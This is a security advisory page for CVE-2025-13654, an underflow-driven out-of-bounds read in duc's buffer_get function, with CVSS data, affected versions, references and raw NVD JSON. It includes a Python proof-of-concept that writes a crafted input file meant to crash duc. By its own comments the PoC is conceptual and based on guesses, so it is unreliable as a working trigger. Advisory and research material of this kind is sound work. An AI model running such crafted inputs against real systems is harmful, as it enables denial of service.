Security Vulnerability Report
中文
CVE-2025-13654 CVSS 7.5 HIGH

CVE-2025-13654

Published: 2025-12-05 13:16:02
Last Modified: 2026-01-29 19:16:10

Description

A stack buffer overflow vulnerability exists in the buffer_get function of duc, a disk management tool, where a condition can evaluate to true due to underflow, allowing an out-of-bounds read.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:zevv:duc:*:*:*:*:*:*:*:* - VULNERABLE
duc < 1.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-13654 PoC - duc buffer_get Stack Buffer Overflow This PoC demonstrates triggering the integer underflow condition in duc's buffer_get function. Note: This is for educational and security research purposes only. """ import struct import sys def create_malicious_input(): """ Generate input that triggers integer underflow in buffer_get function. The exact payload depends on the specific implementation details. """ # This is a conceptual PoC - the actual exploit requires analyzing # the specific buffer_get implementation in duc source code # Common pattern: Trigger underflow by providing specific size values # that cause the length check to fail due to integer wraparound payload = bytearray() # Header/identifier for duc database format payload.extend(b'DUC\x00') # Magic bytes # Size field that will underflow when processed # -1 as unsigned int = 0xFFFFFFFF (4294967295) payload.extend(struct.pack('<I', 0xFFFFFFFF)) # Size causing underflow # Additional crafted data payload.extend(b'A' * 64) # Padding return bytes(payload) def main(): print("CVE-2025-13654 PoC - duc buffer_get Stack Buffer Overflow") print("=" * 60) print("Target: duc < 1.4.6") print("Vulnerability: Integer underflow in buffer_get leading to OOB read") print("=" * 60) # Generate the malicious payload payload = create_malicious_input() print(f"\nGenerated payload length: {len(payload)} bytes") print(f"Payload (hex): {payload.hex()}") # Save to file for testing with duc output_file = "cve-2025-13654-poc.bin" with open(output_file, 'wb') as f: f.write(payload) print(f"\nPayload saved to: {output_file}") print("\nUsage: duc index " + output_file) print("Expected: Program crash due to out-of-bounds read") return 0 if __name__ == "__main__": sys.exit(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13654", "sourceIdentifier": "[email protected]", "published": "2025-12-05T13:16:01.923", "lastModified": "2026-01-29T19:16:10.360", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow vulnerability exists in the buffer_get function of duc, a disk management tool, where a condition can evaluate to true due to underflow, allowing an out-of-bounds read."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zevv:duc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.6", "matchCriteriaId": "773155C1-B0EC-43C6-A663-6DEC97B75A19"}]}]}], "references": [{"url": "https://github.com/zevv/duc/releases/tag/1.4.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://hackingbydoing.wixsite.com/hackingbydoing/post/stack-buffer-overflow-in-duc", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://kb.cert.org/vuls/id/441887", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/zevv/duc/commit/8638c4365ffd9e1966bdef8af6339dbee8c17e66", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://www.kb.cert.org/vuls/id/441887", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}